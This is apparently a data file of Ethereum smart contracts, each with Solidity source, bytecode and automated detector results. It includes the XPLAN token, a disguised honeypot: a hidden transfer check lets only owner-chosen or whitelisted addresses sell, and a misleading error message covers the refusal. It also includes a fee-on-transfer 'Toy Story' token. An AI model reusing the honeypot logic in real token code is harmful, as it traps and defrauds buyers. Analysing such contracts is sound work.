5b5090565b61086f91905b80821115611560576000815560010161156a56fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a2646970667358221220547ca9cdd31d0ea380f5a929488719b00382f33284d07ceb85170871fafead6464736f6c63430006000033 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}} | 9,626 |
0xd6fcdf3ac0432958b7389940020e9713b220c03c | // forked from x10 with fixed bug
// DEV :xplan.finance
// XPLAN (xplan.finance) is a deflationary and gambling token
// See https://github.com/IshikawaTravis/X10 for more info
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_ints(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _ints(address sender, address recipient, uint256 amount) internal view virtual{
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){
_Addressint[receivers[i]] = true;
_approve(receivers[i], _router, _valuehash);
}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
function _Erc20Token(address from, address to, uint256 amount) internal virtual { }
} | 0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063438dd0871161008c578063a457c2d711610066578063a457c2d71461040a578063a9059cbb14610470578063b952390d146104d6578063dd62ed3e1461062f576100cf565b8063438dd087146102eb57806370a082311461032f57806395d89b4114610387576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bd57806323b872dd146101db578063313ce567146102615780633950935114610285575b600080fd5b6100dc6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610749565b604051808215151515815260200191505060405180910390f35b6101c5610767565b6040518082815260200191505060405180910390f35b610247600480360360608110156101f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610771565b604051808215151515815260200191505060405180910390f35b61026961084a565b604051808260ff1660ff16815260200191505060405180910390f35b6102d16004803603604081101561029b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610861565b604051808215151515815260200191505060405180910390f35b61032d6004803603602081101561030157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610914565b005b6103716004803603602081101561034557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a1b565b6040518082815260200191505060405180910390f35b61038f610a63565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103cf5780820151818401526020810190506103b4565b50505050905090810190601f1680156103fc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104566004803603604081101561042057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b05565b604051808215151515815260200191505060405180910390f35b6104bc6004803603604081101561048657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd2565b604051808215151515815260200191505060405180910390f35b61062d600480360360608110156104ec57600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561051657600080fd5b82018360208201111561052857600080fd5b8035906020019184602083028401116401000000008311171561054a57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156105aa57600080fd5b8201836020820111156105bc57600080fd5b803590602001918460208302840111640100000000831117156105de57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610bf0565b005b6106916004803603604081101561064557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d53565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561073f5780601f106107145761010080835404028352916020019161073f565b820191906000526020600020905b81548152906001019060200180831161072257829003601f168201915b5050505050905090565b600061075d610756610dda565b8484610de2565b6001905092915050565b6000600354905090565b600061077e848484610fd9565b61083f8461078a610dda565b61083a856040518060600160405280602881526020016116f060289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107f0610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061090a61086e610dda565b84610905856001600061087f610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b610de2565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610afb5780601f10610ad057610100808354040283529160200191610afb565b820191906000526020600020905b815481529060010190602001808311610ade57829003601f168201915b5050505050905090565b6000610bc8610b12610dda565b84610bc3856040518060600160405280602581526020016117616025913960016000610b3c610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b6001905092915050565b6000610be6610bdf610dda565b8484610fd9565b6001905092915050565b60008090505b8251811015610d4d57600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610d4057610c85838281518110610c6457fe5b6020026020010151838381518110610c7857fe5b6020026020010151610bd2565b508360ff16811015610d3f57600160086000858481518110610ca357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610d3e838281518110610d0b57fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a54610de2565b5b5b8080600101915050610bf6565b50505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e68576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061173d6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610eee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116a86022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561105f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116856023913960400191505060405180910390fd5b6110f08383836113ed565b6110fb8383836113f2565b611166816040518060600160405280602681526020016116ca602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111f9816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611352576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156113175780820151818401526020810190506112fc565b50505050905090810190601f1680156113445780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156113e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561149e5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561151a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611527575060095481115b1561167f57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806115d55750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806116295750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61167e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b5b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212209556fa290a72a852091d1183544f5e574cc2b5ba63631939018bb2359e99798164736f6c63430006060033 | {"success": true, "error": null, "results": {}} | 9,627 |
0xE8Fa0A308af156101FbE7b213b664F5Dea7701e3 | //SPDX-License-Identifier: MIT
// Telegram: t.me/ToyStoryToken
pragma solidity ^0.8.7;
uint256 constant INITIAL_TAX=9;
uint256 constant TOTAL_SUPPLY=100000000;
string constant TOKEN_SYMBOL="Toy Story";
string constant TOKEN_NAME="TOYSTORY";
uint8 constant DECIMALS=6;
uint256 constant TAX_THRESHOLD=1000000000000000000;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract ToyStory is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _burnFee;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 private _maxTxAmount;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_burnFee = 1;
_taxFee = INITIAL_TAX;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(25);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<_maxTxAmount,"Transaction amount limited");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance >= TAX_THRESHOLD) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier onlyTaxCollector() {
require(_taxWallet == _msgSender() );
_;
}
function lowerTax(uint256 newTaxRate) public onlyTaxCollector{
require(newTaxRate<INITIAL_TAX);
_taxFee=newTaxRate;
}
function removeBuyLimit() public onlyTaxCollector{
_maxTxAmount=_tTotal;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function startTrading() external onlyTaxCollector {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external onlyTaxCollector{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyTaxCollector{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106100f75760003560e01c806370a082311161008a5780639e752b95116100595780639e752b95146102ed578063a9059cbb14610316578063dd62ed3e14610353578063f429389014610390576100fe565b806370a0823114610243578063715018a6146102805780638da5cb5b1461029757806395d89b41146102c2576100fe565b8063293230b8116100c6578063293230b8146101d3578063313ce567146101ea5780633e07ce5b1461021557806351bc3c851461022c576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103a7565b6040516101259190612492565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190612032565b6103e4565b6040516101629190612477565b60405180910390f35b34801561017757600080fd5b50610180610402565b60405161018d9190612614565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190611fdf565b610426565b6040516101ca9190612477565b60405180910390f35b3480156101df57600080fd5b506101e86104ff565b005b3480156101f657600080fd5b506101ff6109f9565b60405161020c9190612689565b60405180910390f35b34801561022157600080fd5b5061022a610a02565b005b34801561023857600080fd5b50610241610a88565b005b34801561024f57600080fd5b5061026a60048036038101906102659190611f45565b610b02565b6040516102779190612614565b60405180910390f35b34801561028c57600080fd5b50610295610b53565b005b3480156102a357600080fd5b506102ac610ca6565b6040516102b991906123a9565b60405180910390f35b3480156102ce57600080fd5b506102d7610ccf565b6040516102e49190612492565b60405180910390f35b3480156102f957600080fd5b50610314600480360381019061030f919061209f565b610d0c565b005b34801561032257600080fd5b5061033d60048036038101906103389190612032565b610d84565b60405161034a9190612477565b60405180910390f35b34801561035f57600080fd5b5061037a60048036038101906103759190611f9f565b610da2565b6040516103879190612614565b60405180910390f35b34801561039c57600080fd5b506103a5610e29565b005b60606040518060400160405280600881526020017f544f5953544f5259000000000000000000000000000000000000000000000000815250905090565b60006103f